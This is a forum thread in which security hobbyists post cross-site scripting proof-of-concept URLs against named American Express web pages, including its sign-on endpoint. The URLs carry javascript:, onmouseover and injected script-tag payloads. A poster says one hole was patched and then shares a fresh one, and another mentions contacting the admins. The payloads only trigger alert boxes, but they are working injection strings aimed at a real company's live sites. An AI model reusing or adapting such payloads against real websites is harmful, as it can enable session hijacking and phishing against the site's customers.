Well, I think this is very (but very!) dangerous if you know how to use it.

https://www01.extra.americanexpress.com/Initial.aspx?target=javascript:alert(%22C1c4Tr1Z%22)%27/onmouseover=alert(%22C1c4Tr1Z%22);foo=%27

https://sso.americanexpress.com/SSO/request?request_type=un_createid&ssobrand=&ssolang=en_US&REALMOID=06-3dcadafa-92e6-0028-0000-151f0000151f&SSOURL=%22%0B+onmouseover=alert(/XSS/)+foo=%22&VALUE=abc (I love SSL)

I will contact the admins.

Quote

American Express takes your privacy very seriously.

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[[url=http://voodoo-labs.org]Voodoo Research Group[/url]]
[[url=http://foro.undersecurity.net/]US.net forum[/url]]

ooooh, nice one.

Yes, quite nice!
However, they patched it, but it took me a moment to find a new one also in HTTPS :)

https://www01.extra.americanexpress.com/ProductImage.aspx?url=https://merpic.intelliwebservices.com/img/full/10185/b2/50fe31e266936b2887ab3ef9608f2db2.gif%22%3E%3Cscript%3Ealert(%27American%20XSSspress%27)%3C/script%3E%3Cdiv%20id=%22

http://rafelivgi.blogspot.com
Aspect9 Founder & Chief Security Architect
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My job is to assess not assassinate
You can spend your life reading what others write or you can spend your life writing for others to read, choose your destiny!

When will Amex learn =o(